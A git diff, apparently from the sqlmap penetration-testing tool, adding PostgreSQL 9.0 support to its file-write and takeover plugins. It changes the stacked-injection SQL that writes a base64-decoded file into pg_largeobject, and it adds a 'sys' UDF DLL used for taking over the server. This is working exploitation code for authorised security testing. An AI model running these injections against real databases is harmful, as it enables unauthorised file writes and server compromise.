diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index b8d01f8af..412c4cb66 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -10,6 +10,7 @@ See the file 'doc/COPYING' for copying permission import os from lib.core.common import randomInt +from lib.core.data import kb from lib.core.data import logger from lib.core.exception import sqlmapUnsupportedFeatureException from lib.request import inject @@ -97,7 +98,17 @@ class Filesystem(GenericFilesystem): # # As a matter of facts it was possible to store correctly a file # large 13776 bytes, the problem arises at next step (lo_export()) - inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid)) + # + # Inject manually into PostgreSQL system table pg_largeobject the + # base64-decoded file content. Note that PostgreSQL >= 9.0 does + # not accept UPDATE into that table for some reason. + self.getVersionFromBanner() + banVer = kb.bannerFp["dbmsVersion"] + + if banVer >= "9.0": + inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, 0, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.tblField, self.fileTblName)) + else: + inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid)) debugMsg = "exporting the OID %s file content to " % fileType debugMsg += "file '%s'" % dFile diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 7d22388de..12a5ff91d 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -45,7 +45,9 @@ class Takeover(GenericTakeover): banVer = kb.bannerFp["dbmsVersion"] - if banVer >= "8.4": + if banVer >= "9.0": + majorVer = "9.0" + elif banVer >= "8.4": majorVer = "8.4" elif banVer >= "8.3": majorVer = "8.3" diff --git a/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll b/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll new file mode 100644 index 000000000..5df72e78a Binary files /dev/null and b/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll differ